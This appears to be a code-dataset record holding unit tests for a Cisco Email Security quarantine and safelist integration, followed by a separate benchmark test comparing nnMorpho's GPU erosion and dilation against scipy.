"end_date": "2017-02-14T09:51:46.000-0600"})
assert res.outputs == test_data['search_spam_quarantine_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.SpamQuarantine'
assert res.outputs_key_field == 'mid'
def test_spam_quarantine_to_human_readable():
"""
Given:
Spam quarantine response data.
When:
The function arranges the data and returns it in the Markdown table.
Then:
We check that the table that the function returns corresponds to the data that the function received.
"""
from CiscoEmailSecurity import spam_quarantine_to_human_readable
res = spam_quarantine_to_human_readable(test_data['search_spam_quarantine_context'])
assert res == test_data['spam_quarantine_human_readable']
def test_list_get_quarantine_message_details_command(requests_mock):
"""
Given:
Arguments for command - get_quarantine_message_details.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix, outputs_key_field)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_get_quarantine_message_details_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages/details?mid=None"
"&quarantineType=spam", json=test_data['quarantine_message_details_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_get_quarantine_message_details_command(client, {"start_date": "2017-02-14T09:51:46.000-0600",
"end_date": "2017-02-14T09:51:46.000-0600"})
assert res.outputs == test_data['quarantine_message_details_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.QuarantineMessageDetail'
assert res.outputs_key_field == 'mid'
def test_quarantine_message_details_data_to_human_readable():
"""
Given:
Spam quarantine message details response data.
When:
The function arranges the data and returns it in the Markdown table.
Then:
We check that the table that the function returns corresponds to the data that the function received.
"""
from CiscoEmailSecurity import quarantine_message_details_data_to_human_readable
res = quarantine_message_details_data_to_human_readable(test_data['quarantine_message_context_to_human_readable'])
assert res == test_data['quarantine_message_details_human_readable']
def test_list_delete_quarantine_messages_command(requests_mock):
"""
Given:
Arguments for command - delete_quarantine_messages.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (readable_output, outputs_prefix)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_delete_quarantine_messages_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.delete("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages",
json=test_data['quarantine_delete_message_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_delete_quarantine_messages_command(client, {"messages_ids": "1234"})
assert res.readable_output == test_data['quarantine_delete_message_response_data']
def test_list_release_quarantine_messages_command(requests_mock):
"""
Given:
Arguments for command - release_quarantine_messages.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (readable_output, outputs_prefix)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_release_quarantine_messages_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages",
json=test_data['quarantine_release_message_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_release_quarantine_messages_command(client, {"messages_ids": "1234"})
assert res.readable_output == test_data['quarantine_release_message_response_data']
def test_build_url_filter_for_get_list_entries():
"""
Given:
Arguments To filter with.
When:
The function builds a URL filter from these arguments.
Then:
We check that the URL filter matches what the command asks for.
"""
from CiscoEmailSecurity import build_url_filter_for_get_list_entries
res = build_url_filter_for_get_list_entries({"list_type": "safelist", "view_by": "bla", "order_by": "bla"})
assert res == "?action=view&limit=20&offset=0&quarantineType=spam&orderDir=desc&viewBy=bla&orderBy=bla"
def test_list_entries_get_command(requests_mock):
"""
Given:
Arguments for command - list_entries_get.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_entries_get_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist",
json=test_data['get_list_entries_response'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_entries_get_command(client, {"list_type": "safelist", "limit": "25", "order_by": "recipient",
"view_by": "recipient"})
assert res.outputs == test_data['get_list_entries_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.ListEntry.Safelist'
assert res.outputs_key_field == 'Safelist'
def test_build_request_body_for_add_list_entries():
"""
Given:
Arguments To flirt with.
When:
The function builds a request body from these arguments.
Then:
We check that the request body matches what the command asks for.
"""
from CiscoEmailSecurity import build_request_body_for_add_list_entries
res_request_body = build_request_body_for_add_list_entries({"list_type": "safelist",
"action": "add", "recipient_addresses":
"user.com,user.com",
"sender_list": "acme.com",
"view_by": "recipient"})
assert res_request_body == {"action": "add", "quarantineType": "spam", "viewBy": "recipient",
"recipientAddresses": ["user.com", "user.com"], "senderList": ["acme.com"]}
def test_list_entries_add_command(requests_mock):
"""
Given:
Arguments for command - list_entries_add.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_entries_add_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist",
json=test_data['add_list_entries_response'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_entries_add_command(client, {"list_type": "safelist", "action": "add", "limit": "25",
"recipient_addresses": "user.com,user.com",
"sender_list": "acme.com", "view_by": "recipient"})
assert res.readable_output == test_data['add_list_entries_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.listEntry.Safelist'
assert res.outputs_key_field == 'acme.com'
def test_build_request_body_for_delete_list_entries():
"""
Given:
Arguments To flirt with.
When:
The function builds a request body from these arguments.
Then:
We check that the request body matches what the command asks for.
"""
from CiscoEmailSecurity import build_request_body_for_delete_list_entries
res_request_body = build_request_body_for_delete_list_entries({"list_type": "safelist",
"sender_list": "acme.com",
"view_by": "recipient"})
assert res_request_body == {"quarantineType": "spam", "viewBy": "recipient", "senderList": ["acme.com"]}
def test_list_entries_delete_command(requests_mock):
"""
Given:
Arguments for command - list_entries_add.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_entries_delete_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.delete("https://ciscoemailsecurity/sma/api/v2.0/quarantine/safelist",
json=test_data['delete_list_entries_response'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_entries_delete_command(client, {"list_type": "safelist", "sender_list": "acme.com",
"view_by": "recipient"})
assert res.readable_output == test_data['delete_list_entries_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.listEntry.Safelist'
assert res.outputs_key_field == 'acme.com'
| 43.970115 | 119 | 0.67674 | 2,375 | 19,127 | 5.183579 | 0.074105 | 0.029242 | 0.054585 | 0.024368 | 0.894566 | 0.843555 | 0.803428 | 0.74868 | 0.71294 | 0.673625 | 0 | 0.030034 | 0.221885 | 19,127 | 434 | 120 | 44.071429 | 0.797151 | 0.244367 | 0 | 0.247312 | 0 | 0.026882 | 0.342509 | 0.141866 | 0 | 0 | 0 | 0 | 0.198925 | 1 | 0.129032 | false | 0.048387 | 0.139785 | 0 | 0.274194 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e22b23062bc30dc9fdfe4116c350d5ca493bb57e | 4,444 | py | Python | tests/test_dependent.py | Manza12/nnMorpho | a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1 | [
"MIT"
] | 9 | 2021-05-13T08:11:18.000Z | 2022-02-25T08:04:18.000Z | tests/test_dependent.py | Manza12/nnMorpho | a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1 | [
"MIT"
] | 7 | 2021-04-21T06:30:30.000Z | 2021-11-23T17:28:51.000Z | tests/test_dependent.py | Manza12/nnMorpho | a7952b3c81e3f4df690c5c28763d3ec6a8a82ef1 | [
"MIT"
] | 2 | 2021-04-21T06:47:27.000Z | 2021-05-03T02:32:18.000Z | import torch.cuda
from nnMorpho.parameters import *
from nnMorpho.operations import erosion_dependent, erosion, \
dilation_dependent, dilation
from scipy.ndimage.morphology import grey_erosion, grey_dilation
# Parameters
input_shape = (256, 512)
str_el_shape = (input_shape[0], 5, 5)
device = 'cuda:0'
def test_erosion_dependent():
# Test Operations
print("Testing the erosion dependent of nnMorpho respect to Scipy")
# Start
input_tensor = torch.rand(input_shape, device=device, dtype=torch.float32)
input_array = input_tensor.cpu().numpy()
str_el_tensor = torch.rand(str_el_shape, device=device, dtype=torch.float32)
str_el_array = str_el_tensor.cpu().numpy()
origin = None
border_value = 0.
# Compute nnMorpho
start = time.time()
result_morpho = erosion_dependent(input_tensor, str_el_tensor, origin, border_value)
torch.cuda.synchronize()
time_morpho = time.time() - start
print('Time to erosion dependent - nnMorpho - : %.3f seconds' % time_morpho)
# Compute nnMorpho (old)
start = time.time()
result_morpho_old = torch.zeros_like(input_tensor)
for i in range(str_el_tensor.shape[0]):
result_morpho_old[i, :] = erosion(input_tensor, str_el_tensor[i, :, :], origin, border_value)[i, :]
torch.cuda.synchronize()
time_old = time.time() - start
print('Time to erosion dependent - nnMorpho (old) - : %.3f seconds' % time_old)
error_old = torch.mean(torch.abs(result_morpho - result_morpho_old))
print("Error old: %.3f" % error_old)
print("Acceleration respect to old: x%d" % (time_old / time_morpho))
# Compute Scipy
start = time.time()
result_scipy = np.zeros_like(input_array)
for i in range(str_el_array.shape[0]):
result_scipy[i, :] = grey_erosion(input_array, structure=str_el_array[i, :, :], mode='constant')[i, :]
torch.cuda.synchronize()
time_scipy = time.time() - start
print('Time to erosion dependent - Scipy - : %.3f seconds' % time_scipy)
print("Acceleration respect to Scipy: x%d" % (time_scipy / time_morpho))
error = np.mean(np.abs(result_morpho.cpu().numpy() - result_scipy))
print("Error: %.3f" % error)
check = np.mean(np.abs(result_morpho_old.cpu().numpy() - result_scipy))
print("Check: %.3f" % check)
assert error == 0
def test_dilation_dependent():
# Test Operations
print("Testing the dilation dependent of nnMorpho respect to Scipy")
# Start
input_tensor = torch.rand(input_shape, device=device, dtype=torch.float32)
input_array = input_tensor.cpu().numpy()
str_el_tensor = torch.rand(str_el_shape, device=device, dtype=torch.float32)
str_el_array = str_el_tensor.cpu().numpy()
origin = None
border_value = 0.
# Compute nnMorpho
start = time.time()
result_morpho = dilation_dependent(input_tensor, str_el_tensor, origin, border_value)
torch.cuda.synchronize()
time_morpho = time.time() - start
print('Time to dilation dependent - nnMorpho - : %.3f seconds' % time_morpho)
# Compute nnMorpho (old)
start = time.time()
result_morpho_old = torch.zeros_like(input_tensor)
for i in range(str_el_tensor.shape[0]):
result_morpho_old[i, :] = dilation(input_tensor, str_el_tensor[i, :, :], origin, border_value)[i, :]
torch.cuda.synchronize()
time_old = time.time() - start
print('Time to dilation dependent - nnMorpho (old) - : %.3f seconds' % time_old)
error_old = torch.mean(torch.abs(result_morpho - result_morpho_old))
print("Error old: %.3f" % error_old)
print("Acceleration respect to old: x%d" % (time_old / time_morpho))
# Compute Scipy
start = time.time()
result_scipy = np.zeros_like(input_array)
for i in range(str_el_array.shape[0]):
result_scipy[i, :] = grey_dilation(input_array, structure=str_el_array[i, :, :], mode='constant')[i, :]
torch.cuda.synchronize()
time_scipy = time.time() - start
print('Time to dilation dependent - Scipy - : %.3f seconds' % time_scipy)
print("Acceleration respect to Scipy: x%d" % (time_scipy / time_morpho))
error = np.mean(np.abs(result_morpho.cpu().numpy() - result_scipy))
print("Error: %.3f" % error)
check = np.mean(np.abs(result_morpho_old.cpu().numpy() - result_scipy))
print("Check: %.3f" % check)
assert error == 0
if __name__ == '__main__':
test_erosion_dependent()
test_dilation_dependent()
| 35.552 | 111 | 0.685644 | 609 | 4,444 | 4.763547 | 0.118227 | 0.032747 | 0.037918 | 0.039297 | 0.871079 | 0.871079 | 0.844881 | 0.844881 | 0.83971 | 0.829369 | 0 | 0.010483 | 0.184293 | 4,444 | 124 | 112 | 35.83871 | 0.789793 | 0.036454 | 0 | 0.674699 | 0 | 0 | 0.159251 | 0 | 0 | 0 | 0 | 0 | 0.024096 | 1 | 0.024096 | false | 0 | 0.048193 | 0 | 0.072289 | 0.216867 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
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